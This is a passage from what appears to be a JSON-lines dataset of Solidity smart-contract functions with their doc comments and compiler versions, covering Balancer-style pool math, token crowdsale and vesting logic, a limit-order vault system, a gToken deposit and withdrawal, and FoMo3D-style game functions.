withdrawBMI(address _token, uint256 _id) public nonReentrant {\n require(_id < curId[_token], \"!weaved\");\n require(!claimed[_token][msg.sender][_id], \"already-claimed\");\n uint256 userDeposited = deposits[_token][msg.sender][_id];\n require(userDeposited > 0, \"!deposit\");\n\n uint256 ratio = userDeposited.mul(1e18).div(totalDeposited[_token][_id]);\n uint256 userBasketAmount = minted[_token][_id].mul(ratio).div(1e18);\n claimed[_token][msg.sender][_id] = true;\n\n IERC20(address(bmi)).safeTransfer(msg.sender, userBasketAmount);\n }", "version": "0.7.3"} {"comment": "/**********************************************************************************************\n // calcSpotPrice //\n // sP = spotPrice //\n // bI = tokenBalanceIn ( bI / wI ) 1 //\n // bO = tokenBalanceOut sP = ----------- * ---------- //\n // wI = tokenWeightIn ( bO / wO ) ( 1 - sF ) //\n // wO = tokenWeightOut //\n // sF = swapFee //\n **********************************************************************************************/", "function_code": "function calcSpotPrice(\n uint tokenBalanceIn,\n uint tokenWeightIn,\n uint tokenBalanceOut,\n uint tokenWeightOut,\n uint swapFee\n )\n internal pure\n returns (uint spotPrice)\n {\n uint numer = bdiv(tokenBalanceIn, tokenWeightIn);\n uint denom = bdiv(tokenBalanceOut, tokenWeightOut);\n uint ratio = bdiv(numer, denom);\n uint scale = bdiv(BONE, bsub(BONE, swapFee));\n return (spotPrice = bmul(ratio, scale));\n }", "version": "0.5.12"} {"comment": "/**********************************************************************************************\n // calcOutGivenIn //\n // aO = tokenAmountOut //\n // bO = tokenBalanceOut //\n // bI = tokenBalanceIn / / bI \\ (wI / wO) \\ //\n // aI = tokenAmountIn aO = bO * | 1 - | -------------------------- | ^ | //\n // wI = tokenWeightIn \\ \\ ( bI + ( aI * ( 1 - sF )) / / //\n // wO = tokenWeightOut //\n // sF = swapFee //\n **********************************************************************************************/", "function_code": "function calcOutGivenIn(\n uint tokenBalanceIn,\n uint tokenWeightIn,\n uint tokenBalanceOut,\n uint tokenWeightOut,\n uint tokenAmountIn,\n uint swapFee\n )\n public pure\n returns (uint tokenAmountOut)\n {\n uint weightRatio = bdiv(tokenWeightIn, tokenWeightOut);\n uint adjustedIn = bsub(BONE, swapFee);\n adjustedIn = bmul(tokenAmountIn, adjustedIn);\n uint y = bdiv(tokenBalanceIn, badd(tokenBalanceIn, adjustedIn));\n uint foo = bpow(y, weightRatio);\n uint bar = bsub(BONE, foo);\n tokenAmountOut = bmul(tokenBalanceOut, bar);\n return tokenAmountOut;\n }", "version": "0.5.12"} {"comment": "/**********************************************************************************************\n // calcInGivenOut //\n // aI = tokenAmountIn //\n // bO = tokenBalanceOut / / bO \\ (wO / wI) \\ //\n // bI = tokenBalanceIn bI * | | ------------ | ^ - 1 | //\n // aO = tokenAmountOut aI = \\ \\ ( bO - aO ) / / //\n // wI = tokenWeightIn -------------------------------------------- //\n // wO = tokenWeightOut ( 1 - sF ) //\n // sF = swapFee //\n **********************************************************************************************/", "function_code": "function calcInGivenOut(\n uint tokenBalanceIn,\n uint tokenWeightIn,\n uint tokenBalanceOut,\n uint tokenWeightOut,\n uint tokenAmountOut,\n uint swapFee\n )\n public pure\n returns (uint tokenAmountIn)\n {\n uint weightRatio = bdiv(tokenWeightOut, tokenWeightIn);\n uint diff = bsub(tokenBalanceOut, tokenAmountOut);\n uint y = bdiv(tokenBalanceOut, diff);\n uint foo = bpow(y, weightRatio);\n foo = bsub(foo, BONE);\n tokenAmountIn = bsub(BONE, swapFee);\n tokenAmountIn = bdiv(bmul(tokenBalanceIn, foo), tokenAmountIn);\n return tokenAmountIn;\n }", "version": "0.5.12"} {"comment": "/**********************************************************************************************\n // calcPoolOutGivenSingleIn //\n // pAo = poolAmountOut / \\ //\n // tAi = tokenAmountIn /// / // wI \\ \\\\ \\ wI \\ //\n // wI = tokenWeightIn //| tAi *| 1 - || 1 - -- | * sF || + tBi \\ -- \\ //\n // tW = totalWeight pAo=|| \\ \\ \\\\ tW / // | ^ tW | * pS - pS //\n // tBi = tokenBalanceIn \\\\ ------------------------------------- / / //\n // pS = poolSupply \\\\ tBi / / //\n // sF = swapFee \\ / //\n **********************************************************************************************/", "function_code": "function calcPoolOutGivenSingleIn(\n uint tokenBalanceIn,\n uint tokenWeightIn,\n uint poolSupply,\n uint totalWeight,\n uint tokenAmountIn,\n uint swapFee\n )\n internal pure\n returns (uint poolAmountOut)\n {\n // Charge the trading fee for the proportion of tokenAi\n /// which is implicitly traded to the other pool tokens.\n // That proportion is (1- weightTokenIn)\n // tokenAiAfterFee = tAi * (1 - (1-weightTi) * poolFee);\n uint normalizedWeight = bdiv(tokenWeightIn, totalWeight);\n uint zaz = bmul(bsub(BONE, normalizedWeight), swapFee);\n uint tokenAmountInAfterFee = bmul(tokenAmountIn, bsub(BONE, zaz));\n\n uint newTokenBalanceIn = badd(tokenBalanceIn, tokenAmountInAfterFee);\n uint tokenInRatio = bdiv(newTokenBalanceIn, tokenBalanceIn);\n\n // uint newPoolSupply = (ratioTi ^ weightTi) * poolSupply;\n uint poolRatio = bpow(tokenInRatio, normalizedWeight);\n uint newPoolSupply = bmul(poolRatio, poolSupply);\n poolAmountOut = bsub(newPoolSupply, poolSupply);\n return poolAmountOut;\n }", "version": "0.5.12"} {"comment": "/**********************************************************************************************\n // calcSingleOutGivenPoolIn //\n // tAo = tokenAmountOut / / \\\\ //\n // bO = tokenBalanceOut / // pS - (pAi * (1 - eF)) \\ / 1 \\ \\\\ //\n // pAi = poolAmountIn | bO - || ----------------------- | ^ | --------- | * b0 || //\n // ps = poolSupply \\ \\\\ pS / \\(wO / tW)/ // //\n // wI = tokenWeightIn tAo = \\ \\ // //\n // tW = totalWeight / / wO \\ \\ //\n // sF = swapFee * | 1 - | 1 - ---- | * sF | //\n // eF = exitFee \\ \\ tW / / //\n **********************************************************************************************/", "function_code": "function calcSingleOutGivenPoolIn(\n uint tokenBalanceOut,\n uint tokenWeightOut,\n uint poolSupply,\n uint totalWeight,\n uint poolAmountIn,\n uint swapFee\n )\n internal pure\n returns (uint tokenAmountOut)\n {\n uint normalizedWeight = bdiv(tokenWeightOut, totalWeight);\n // charge exit fee on the pool token side\n // pAiAfterExitFee = pAi*(1-exitFee)\n uint poolAmountInAfterExitFee = bmul(poolAmountIn, BONE);\n uint newPoolSupply = bsub(poolSupply, poolAmountInAfterExitFee);\n uint poolRatio = bdiv(newPoolSupply, poolSupply);\n\n // newBalTo = poolRatio^(1/weightTo) * balTo;\n uint tokenOutRatio = bpow(poolRatio, bdiv(BONE, normalizedWeight));\n uint newTokenBalanceOut = bmul(tokenOutRatio, tokenBalanceOut);\n\n uint tokenAmountOutBeforeSwapFee = bsub(tokenBalanceOut, newTokenBalanceOut);\n\n // charge swap fee on the output token side\n //uint tAo = tAoBeforeSwapFee * (1 - (1-weightTo) * swapFee)\n uint zaz = bmul(bsub(BONE, normalizedWeight), swapFee);\n tokenAmountOut = bmul(tokenAmountOutBeforeSwapFee, bsub(BONE, zaz));\n return tokenAmountOut;\n }", "version": "0.5.12"} {"comment": "// DSMath.wpow", "function_code": "function bpowi(uint a, uint n)\n internal pure\n returns (uint)\n {\n uint z = n % 2 != 0 ? a : BONE;\n\n for (n /= 2; n != 0; n /= 2) {\n a = bmul(a, a);\n\n if (n % 2 != 0) {\n z = bmul(z, a);\n }\n }\n return z;\n }", "version": "0.5.12"} {"comment": "// Compute b^(e.w) by splitting it into (b^e)*(b^0.w).\n// Use `bpowi` for `b^e` and `bpowK` for k iterations\n// of approximation of b^0.w", "function_code": "function bpow(uint base, uint exp)\n internal pure\n returns (uint)\n {\n require(base >= MIN_BPOW_BASE, \"ERR_BPOW_BASE_TOO_LOW\");\n require(base <= MAX_BPOW_BASE, \"ERR_BPOW_BASE_TOO_HIGH\");\n\n uint whole = bfloor(exp);\n uint remain = bsub(exp, whole);\n\n uint wholePow = bpowi(base, btoi(whole));\n\n if (remain == 0) {\n return wholePow;\n }\n\n uint partialResult = bpowApprox(base, remain, BPOW_PRECISION);\n return bmul(wholePow, partialResult);\n }", "version": "0.5.12"} {"comment": "// runs when crowdsale is active - can only be called by main crowdsale contract", "function_code": "function crowdsale ( address tokenholder ) onlyFront payable {\r\n \r\n \r\n uint award; // amount of dragons to send to tokenholder\r\n uint donation; // donation to charity\r\n DragonPricing pricingstructure = new DragonPricing();\r\n ( award , donation ) = pricingstructure.crowdsalepricing( tokenholder, msg.value, crowdsaleCounter ); \r\n crowdsaleCounter += award;\r\n \r\n tokenReward.transfer ( tokenholder , award ); // immediate transfer to token holders\r\n \r\n if ( advisorCut < advisorTotal ) { advisorSiphon();} // send advisor his share\r\n \r\n else \r\n { beneficiary.transfer ( msg.value ); } //send all ether to beneficiary\r\n \r\n etherRaised = etherRaised.add( msg.value ); //etherRaised += msg.value; // tallies ether raised\r\n tokensSold = tokensSold.add(award); //tokensSold += award; // tallies total dragons sold\r\n \r\n \r\n \r\n }", "version": "0.4.18"} {"comment": "// pays the advisor part of the incoming ether", "function_code": "function advisorSiphon() internal {\r\n \r\n uint share = msg.value/10;\r\n uint foradvisor = share;\r\n \r\n if ( (advisorCut + share) > advisorTotal ) foradvisor = advisorTotal.sub( advisorCut ); \r\n \r\n advisor.transfer ( foradvisor ); // advisor gets 10% of the incoming ether\r\n \r\n advisorCut = advisorCut.add( foradvisor );\r\n beneficiary.transfer( share * 9 ); // the ether balance goes to the benfeciary\r\n if ( foradvisor != share ) beneficiary.transfer( share.sub(foradvisor) ); // if 10% of the incoming ether exceeds the total advisor is supposed to get , then this gives them a smaller share to not exceed max\r\n \r\n \r\n \r\n }", "version": "0.4.18"} {"comment": "//manually send different dragon packages", "function_code": "function manualSend ( address tokenholder, uint packagenumber ) onlyOwner {\r\n \r\n require ( tokenholder != 0x00 );\r\n if ( packagenumber != 1 && packagenumber != 2 && packagenumber != 3 ) revert();\r\n \r\n uint award;\r\n uint donation;\r\n \r\n if ( packagenumber == 1 ) { award = 10800000000; donation = 800000000; }\r\n if ( packagenumber == 2 ) { award = 108800000000; donation = 8800000000; }\r\n if ( packagenumber == 3 ) { award = 1088800000000; donation = 88800000000; }\r\n \r\n \r\n tokenReward.transfer ( tokenholder , award ); \r\n tokenReward.transfer ( charity , donation ); \r\n \r\n presold = presold.add( award ); //add number of tokens sold in presale\r\n presold = presold.add( donation ); //add number of tokens sent via charity\r\n tokensSold = tokensSold.add(award); // tallies total dragons sold\r\n tokensSold = tokensSold.add(donation); // tallies total dragons sold\r\n \r\n }", "version": "0.4.18"} {"comment": "// Allocate tokens for founder vested gradually for 1 year", "function_code": "function allocateTokensForFounder() external isActive onlyOwnerOrAdmin {\r\n require(saleState == END_SALE);\r\n require(founderAddress != address(0));\r\n uint256 amount;\r\n if (founderAllocatedTime == 1) {\r\n amount = founderAllocation;\r\n balances[founderAddress] = balances[founderAddress].add(amount);\r\n emit AllocateTokensForFounder(founderAddress, founderAllocatedTime, amount);\r\n founderAllocatedTime = 2;\r\n return;\r\n }\r\n revert();\r\n }", "version": "0.4.21"} {"comment": "// Allocate tokens for team vested gradually for 1 year", "function_code": "function allocateTokensForTeam() external isActive onlyOwnerOrAdmin {\r\n require(saleState == END_SALE);\r\n require(teamAddress != address(0));\r\n uint256 amount;\r\n if (teamAllocatedTime == 1) {\r\n amount = teamAllocation * 40/100;\r\n balances[teamAddress] = balances[teamAddress].add(amount);\r\n emit AllocateTokensForTeam(teamAddress, teamAllocatedTime, amount);\r\n teamAllocatedTime = 2;\r\n return;\r\n }\r\n if (teamAllocatedTime == 2) {\r\n require(now >= icoEndTime + lockPeriod1);\r\n amount = teamAllocation * 60/100;\r\n balances[teamAddress] = balances[teamAddress].add(amount);\r\n emit AllocateTokensForTeam(teamAddress, teamAllocatedTime, amount);\r\n teamAllocatedTime = 3;\r\n return;\r\n }\r\n revert();\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Create deterministic vault.\r\n */", "function_code": "function executeVault(bytes32 _key, IERC20 _token, address _to) internal returns (uint256 value) {\r\n address addr;\r\n bytes memory slotcode = code;\r\n\r\n /* solium-disable-next-line */\r\n assembly{\r\n // Create the contract arguments for the constructor\r\n addr := create2(0, add(slotcode, 0x20), mload(slotcode), _key)\r\n }\r\n\r\n value = _token.balanceOf(addr);\r\n /* solium-disable-next-line */\r\n (bool success, ) = addr.call(\r\n abi.encodePacked(\r\n abi.encodeWithSelector(\r\n _token.transfer.selector,\r\n _to,\r\n value\r\n ),\r\n address(_token)\r\n )\r\n );\r\n\r\n require(success, \"Error pulling tokens\");\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice Create an ETH to token order\r\n * @param _data - Bytes of an ETH to token order. See `encodeEthOrder` for more info\r\n */", "function_code": "function depositEth(\r\n bytes calldata _data\r\n ) external payable {\r\n require(msg.value > 0, \"HyperLimit#depositEth: VALUE_IS_0\");\r\n\r\n (\r\n address module,\r\n address inputToken,\r\n address payable owner,\r\n address witness,\r\n bytes memory data,\r\n ) = decodeOrder(_data);\r\n\r\n require(inputToken == ETH_ADDRESS, \"HyperLimit#depositEth: WRONG_INPUT_TOKEN\");\r\n\r\n bytes32 key = keyOf(\r\n IModule(uint160(module)),\r\n IERC20(inputToken),\r\n owner,\r\n witness,\r\n data\r\n );\r\n\r\n ethDeposits[key] = ethDeposits[key].add(msg.value);\r\n emit DepositETH(key, msg.sender, msg.value, _data);\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice Cancel order\r\n * @dev The params should be the same used for the order creation\r\n * @param _module - Address of the module to use for the order execution\r\n * @param _inputToken - Address of the input token\r\n * @param _owner - Address of the order's owner\r\n * @param _witness - Address of the witness\r\n * @param _data - Bytes of the order's data\r\n */", "function_code": "function cancelOrder(\r\n IModule _module,\r\n IERC20 _inputToken,\r\n address payable _owner,\r\n address _witness,\r\n bytes calldata _data\r\n ) external {\r\n require(msg.sender == _owner, \"HyperLimit#cancelOrder: INVALID_OWNER\");\r\n bytes32 key = keyOf(\r\n _module,\r\n _inputToken,\r\n _owner,\r\n _witness,\r\n _data\r\n );\r\n\r\n uint256 amount = _pullOrder(_inputToken, key, msg.sender);\r\n\r\n emit OrderCancelled(\r\n key,\r\n address(_inputToken),\r\n _owner,\r\n _witness,\r\n _data,\r\n amount\r\n );\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice Get the calldata needed to create a token to token/ETH order\r\n * @dev Returns the input data that the user needs to use to create the order\r\n * The _secret is used to prevent a front-running at the order execution\r\n * The _amount is used as the param `_value` for the ERC20 `transfer` function\r\n * @param _module - Address of the module to use for the order execution\r\n * @param _inputToken - Address of the input token\r\n * @param _owner - Address of the order's owner\r\n * @param _witness - Address of the witness\r\n * @param _data - Bytes of the order's data\r\n * @param _secret - Private key of the _witness\r\n * @param _amount - uint256 of the order amount\r\n * @return bytes - input data to send the transaction\r\n */", "function_code": "function encodeTokenOrder(\r\n IModule _module,\r\n IERC20 _inputToken,\r\n address payable _owner,\r\n address _witness,\r\n bytes calldata _data,\r\n bytes32 _secret,\r\n uint256 _amount\r\n ) external view returns (bytes memory) {\r\n return abi.encodeWithSelector(\r\n _inputToken.transfer.selector,\r\n vaultOfOrder(\r\n _module,\r\n _inputToken,\r\n _owner,\r\n _witness,\r\n _data\r\n ),\r\n _amount,\r\n abi.encode(\r\n _module,\r\n _inputToken,\r\n _owner,\r\n _witness,\r\n _data,\r\n _secret\r\n )\r\n );\r\n }", "version": "0.6.8"} {"comment": "/**\r\n \t * @notice Accepts a deposit to the gToken using ETH. The gToken must\r\n \t * have WETH as its reserveToken. This is a payable method and\r\n \t * expects ETH to be sent; which in turn will be converted into\r\n \t * shares. See GToken.sol and GTokenBase.sol for further\r\n \t * documentation.\r\n \t * @param _growthToken The WETH based gToken.\r\n \t */", "function_code": "function deposit(address _growthToken) public payable\r\n\t{\r\n\t\taddress _from = msg.sender;\r\n\t\tuint256 _cost = msg.value;\r\n\t\taddress _reserveToken = GToken(_growthToken).reserveToken();\r\n\t\trequire(_reserveToken == $.WETH, \"ETH operation not supported by token\");\r\n\t\tG.safeWrap(_cost);\r\n\t\tG.approveFunds(_reserveToken, _growthToken, _cost);\r\n\t\tGToken(_growthToken).deposit(_cost);\r\n\t\tuint256 _netShares = G.getBalance(_growthToken);\r\n\t\tG.pushFunds(_growthToken, _from, _netShares);\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n * @notice Get order's properties\r\n * @param _data - Bytes of the order\r\n * @return module - Address of the module to use for the order execution\r\n * @return inputToken - Address of the input token\r\n * @return owner - Address of the order's owner\r\n * @return witness - Address of the witness\r\n * @return data - Bytes of the order's data\r\n * @return secret - Private key of the _witness\r\n */", "function_code": "function decodeOrder(\r\n bytes memory _data\r\n ) public pure returns (\r\n address module,\r\n address inputToken,\r\n address payable owner,\r\n address witness,\r\n bytes memory data,\r\n bytes32 secret\r\n ) {\r\n (\r\n module,\r\n inputToken,\r\n owner,\r\n witness,\r\n data,\r\n secret\r\n ) = abi.decode(\r\n _data,\r\n (\r\n address,\r\n address,\r\n address,\r\n address,\r\n bytes,\r\n bytes32\r\n )\r\n );\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice Executes an order\r\n * @dev The sender should use the _secret to sign its own address\r\n * to prevent front-runnings\r\n * @param _module - Address of the module to use for the order execution\r\n * @param _inputToken - Address of the input token\r\n * @param _owner - Address of the order's owner\r\n * @param _data - Bytes of the order's data\r\n * @param _signature - Signature to calculate the witness\r\n * @param _auxData - Bytes of the auxiliar data used for the handlers to execute the order\r\n */", "function_code": "function executeOrder(\r\n IModule _module,\r\n IERC20 _inputToken,\r\n address payable _owner,\r\n bytes calldata _data,\r\n bytes calldata _signature,\r\n bytes calldata _auxData\r\n ) external {\r\n // Calculate witness using signature\r\n address witness = ECDSA.recover(\r\n keccak256(abi.encodePacked(msg.sender)),\r\n _signature\r\n );\r\n\r\n bytes32 key = keyOf(\r\n _module,\r\n _inputToken,\r\n _owner,\r\n witness,\r\n _data\r\n );\r\n\r\n // Pull amount\r\n uint256 amount = _pullOrder(_inputToken, key, address(_module));\r\n require(amount > 0, \"HyperLimit#executeOrder: INVALID_ORDER\");\r\n\r\n uint256 bought = _module.execute(\r\n _inputToken,\r\n amount,\r\n _owner,\r\n _data,\r\n _auxData\r\n );\r\n\r\n emit OrderExecuted(\r\n key,\r\n address(_inputToken),\r\n _owner,\r\n witness,\r\n _data,\r\n _auxData,\r\n amount,\r\n bought\r\n );\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice Check whether an order exists or not\r\n * @dev Check the balance of the order\r\n * @param _module - Address of the module to use for the order execution\r\n * @param _inputToken - Address of the input token\r\n * @param _owner - Address of the order's owner\r\n * @param _witness - Address of the witness\r\n * @param _data - Bytes of the order's data\r\n * @return bool - whether the order exists or not\r\n */", "function_code": "function existOrder(\r\n IModule _module,\r\n IERC20 _inputToken,\r\n address payable _owner,\r\n address _witness,\r\n bytes calldata _data\r\n ) external view returns (bool) {\r\n bytes32 key = keyOf(\r\n _module,\r\n _inputToken,\r\n _owner,\r\n _witness,\r\n _data\r\n );\r\n\r\n if (address(_inputToken) == ETH_ADDRESS) {\r\n return ethDeposits[key] != 0;\r\n } else {\r\n return _inputToken.balanceOf(key.getVault()) != 0;\r\n }\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice Check whether an order can be executed or not\r\n * @param _module - Address of the module to use for the order execution\r\n * @param _inputToken - Address of the input token\r\n * @param _owner - Address of the order's owner\r\n * @param _witness - Address of the witness\r\n * @param _data - Bytes of the order's data\r\n * @param _auxData - Bytes of the auxiliar data used for the handlers to execute the order\r\n * @return bool - whether the order can be executed or not\r\n */", "function_code": "function canExecuteOrder(\r\n IModule _module,\r\n IERC20 _inputToken,\r\n address payable _owner,\r\n address _witness,\r\n bytes calldata _data,\r\n bytes calldata _auxData\r\n ) external view returns (bool) {\r\n bytes32 key = keyOf(\r\n _module,\r\n _inputToken,\r\n _owner,\r\n _witness,\r\n _data\r\n );\r\n\r\n // Pull amount\r\n uint256 amount;\r\n if (address(_inputToken) == ETH_ADDRESS) {\r\n amount = ethDeposits[key];\r\n } else {\r\n amount = _inputToken.balanceOf(key.getVault());\r\n }\r\n\r\n return _module.canExecute(\r\n _inputToken,\r\n amount,\r\n _data,\r\n _auxData\r\n );\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice Transfer the order amount to a recipient.\r\n * @dev For an ETH order, the ETH will be transferred from this contract\r\n * For a token order, its vault will be executed transferring the amount of tokens to\r\n * the recipient\r\n * @param _inputToken - Address of the input token\r\n * @param _key - Order's key\r\n * @param _to - Address of the recipient\r\n * @return amount - amount transferred\r\n */", "function_code": "function _pullOrder(\r\n IERC20 _inputToken,\r\n bytes32 _key,\r\n address payable _to\r\n ) private returns (uint256 amount) {\r\n if (address(_inputToken) == ETH_ADDRESS) {\r\n amount = ethDeposits[_key];\r\n ethDeposits[_key] = 0;\r\n (bool success,) = _to.call{value: amount}(\"\");\r\n require(success, \"HyperLimit#_pullOrder: PULL_ETHER_FAILED\");\r\n } else {\r\n amount = _key.executeVault(_inputToken, _to);\r\n }\r\n }", "version": "0.6.8"} {"comment": "/**\r\n \t * @notice Performs the minting of gToken shares upon the deposit of the\r\n \t * reserve token. The actual number of shares being minted can\r\n \t * be calculated using the calcDepositSharesFromCost function.\r\n \t * In every deposit, 1% of the shares is retained in terms of\r\n \t * deposit fee. Half of it is immediately burned and the other\r\n \t * half is provided to the locked liquidity pool. The funds\r\n \t * will be pulled in by this contract, therefore they must be\r\n \t * previously approved.\r\n \t * @param _cost The amount of reserve token being deposited in the\r\n \t * operation.\r\n \t */", "function_code": "function deposit(uint256 _cost) public override nonReentrant\r\n\t{\r\n\t\taddress _from = msg.sender;\r\n\t\trequire(_cost > 0, \"cost must be greater than 0\");\r\n\t\t(uint256 _netShares, uint256 _feeShares) = GFormulae._calcDepositSharesFromCost(_cost, totalReserve(), totalSupply(), depositFee());\r\n\t\trequire(_netShares > 0, \"shares must be greater than 0\");\r\n\t\tG.pullFunds(reserveToken, _from, _cost);\r\n\t\trequire(_prepareDeposit(_cost), \"not available at the moment\");\r\n\t\t_mint(_from, _netShares);\r\n\t\t_mint(address(this), _feeShares.div(2));\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t * @notice Performs the burning of gToken shares upon the withdrawal of\r\n \t * the reserve token. The actual amount of the reserve token to\r\n \t * be received can be calculated using the\r\n \t * calcWithdrawalCostFromShares function. In every withdrawal,\r\n \t * 1% of the shares is retained in terms of withdrawal fee.\r\n \t * Half of it is immediately burned and the other half is\r\n \t * provided to the locked liquidity pool.\r\n \t * @param _grossShares The gross amount of this gToken shares being\r\n \t * redeemed in the operation.\r\n \t */", "function_code": "function withdraw(uint256 _grossShares) public override nonReentrant\r\n\t{\r\n\t\taddress _from = msg.sender;\r\n\t\trequire(_grossShares > 0, \"shares must be greater than 0\");\r\n\t\t(uint256 _cost, uint256 _feeShares) = GFormulae._calcWithdrawalCostFromShares(_grossShares, totalReserve(), totalSupply(), withdrawalFee());\r\n\t\trequire(_cost > 0, \"cost must be greater than 0\");\r\n\t\trequire(_prepareWithdrawal(_cost), \"not available at the moment\");\r\n\t\t_cost = G.min(_cost, G.getBalance(reserveToken));\r\n\t\tG.pushFunds(reserveToken, _from, _cost);\r\n\t\t_burn(_from, _grossShares);\r\n\t\t_mint(address(this), _feeShares.div(2));\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n * @dev gives square root of given x.\r\n */", "function_code": "function sqrt(uint256 x)\r\n internal\r\n pure\r\n returns (uint256 y)\r\n {\r\n uint256 z = ((add(x,1)) / 2);\r\n y = x;\r\n while (z < y)\r\n {\r\n y = z;\r\n z = ((add((x / z),z)) / 2);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev x to the power of y\r\n */", "function_code": "function pwr(uint256 x, uint256 y)\r\n internal\r\n pure\r\n returns (uint256)\r\n {\r\n if (x==0)\r\n return (0);\r\n else if (y==0)\r\n return (1);\r\n else\r\n {\r\n uint256 z = x;\r\n for (uint256 i=1; i < y; i++)\r\n z = mul(z,x);\r\n return (z);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev emergency buy uses last stored affiliate ID and team snek\r\n */", "function_code": "function()\r\n isActivated()\r\n isHuman()\r\n isWithinLimits(msg.value)\r\n public\r\n payable\r\n {\r\n // set up our tx event data and determine if player is new or not\r\n F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);\r\n\r\n // fetch player id\r\n uint256 _pID = pIDxAddr_[msg.sender];\r\n\r\n // buy core\r\n buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev converts all incoming ethereum to keys.\r\n * -functionhash- 0x8f38f309 (using ID for affiliate)\r\n * -functionhash- 0x98a0871d (using address for affiliate)\r\n * -functionhash- 0xa65b37a1 (using name for affiliate)\r\n * @param _affCode the ID/address/name of the player who gets the affiliate fee\r\n * @param _team what team is the player playing for?\r\n */", "function_code": "function buyXid(uint256 _affCode, uint256 _team)\r\n isActivated()\r\n isHuman()\r\n isWithinLimits(msg.value)\r\n public\r\n payable\r\n {\r\n // set up our tx event data and determine if player is new or not\r\n F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);\r\n\r\n // fetch player id\r\n uint256 _pID = pIDxAddr_[msg.sender];\r\n\r\n // manage affiliate residuals\r\n // if no affiliate code was given or player tried to use their own, lolz\r\n if (_affCode == 0 || _affCode == _pID)\r\n {\r\n // use last stored affiliate code\r\n _affCode = plyr_[_pID].laff;\r\n\r\n // if affiliate code was given & its not the same as previously stored\r\n } else if (_affCode != plyr_[_pID].laff) {\r\n // update last affiliate\r\n plyr_[_pID].laff = _affCode;\r\n }\r\n\r\n // verify a valid team was selected\r\n _team = verifyTeam(_team);\r\n\r\n // buy core\r\n buyCore(_pID, _affCode, _team, _eventData_);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev essentially the same as buy, but instead of you sending ether\r\n * from your wallet, it uses your unwithdrawn earnings.\r\n * -functionhash- 0x349cdcac (using ID for affiliate)\r\n * -functionhash- 0x82bfc739 (using address for affiliate)\r\n * -functionhash- 0x079ce327 (using name for affiliate)\r\n * @param _affCode the ID/address/name of the player who gets the affiliate fee\r\n * @param _team what team is the player playing for?\r\n * @param _eth amount of earnings to use (remainder returned to gen vault)\r\n */", "function_code": "function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)\r\n isActivated()\r\n isHuman()\r\n isWithinLimits(_eth)\r\n public\r\n {\r\n // set up our tx event data\r\n F3Ddatasets.EventReturns memory _eventData_;\r\n\r\n // fetch player ID\r\n uint256 _pID = pIDxAddr_[msg.sender];\r\n\r\n // manage affiliate residuals\r\n // if no affiliate code was given or player tried to use their own, lolz\r\n if (_affCode == 0 || _affCode == _pID)\r\n {\r\n // use last stored affiliate code\r\n _affCode = plyr_[_pID].laff;\r\n\r\n // if affiliate code was given & its not the same as previously stored\r\n } else if (_affCode != plyr_[_pID].laff) {\r\n // update last affiliate\r\n plyr_[_pID].laff = _affCode;\r\n }\r\n\r\n // verify a valid team was selected\r\n _team = verifyTeam(_team);\r\n\r\n // reload core\r\n reLoadCore(_pID, _affCode, _team, _eth, _eventData_);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev use these to register names. they are just wrappers that will send the\r\n * registration requests to the PlayerBook contract. So registering here is the\r\n * same as registering there. UI will always display the last name you registered.\r\n * but you will still own all previously registered names to use as affiliate\r\n * links.\r\n * - must pay a registration fee.\r\n * - name must be unique\r\n * - names will be converted to lowercase\r\n * - name cannot start or end with a space\r\n * - cannot have more than 1 space in a row\r\n * - cannot be only numbers\r\n * - cannot start with 0x\r\n * - name must be at least 1 char\r\n * - max length of 32 characters long\r\n * - allowed characters: a-z, 0-9, and space\r\n * -functionhash- 0x921dec21 (using ID for affiliate)\r\n * -functionhash- 0x3ddd4698 (using address for affiliate)\r\n * -functionhash- 0x685ffd83 (using name for affiliate)\r\n * @param _nameString players desired name\r\n * @param _affCode affiliate ID, address, or name of who referred you\r\n * @param _all set to true if you want this to push your info to all games\r\n * (this might cost a lot of gas)\r\n */", "function_code": "function registerNameXID(string _nameString, uint256 _affCode, bool _all)\r\n isHuman()\r\n public\r\n payable\r\n {\r\n bytes32 _name = _nameString.nameFilter();\r\n address _addr = msg.sender;\r\n uint256 _paid = msg.value;\r\n (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);\r\n\r\n uint256 _pID = pIDxAddr_[_addr];\r\n\r\n // fire event\r\n emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev return the price buyer will pay for next 1 individual key.\r\n * -functionhash- 0x018a25e8\r\n * @return price for next key bought (in wei format)\r\n */", "function_code": "function getBuyPrice()\r\n public\r\n view\r\n returns(uint256)\r\n {\r\n // setup local rID\r\n uint256 _rID = rID_;\r\n\r\n // grab time\r\n uint256 _now = now;\r\n\r\n // are we in a round?\r\n if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))\r\n return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );\r\n else // rounds over. need price for new round\r\n return ( 75000000000000 ); // init\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev returns time left. dont spam this, you'll ddos yourself from your node\r\n * provider\r\n * -functionhash- 0xc7e284b8\r\n * @return time left in seconds\r\n */", "function_code": "function getTimeLeft()\r\n public\r\n view\r\n returns(uint256)\r\n {\r\n // setup local 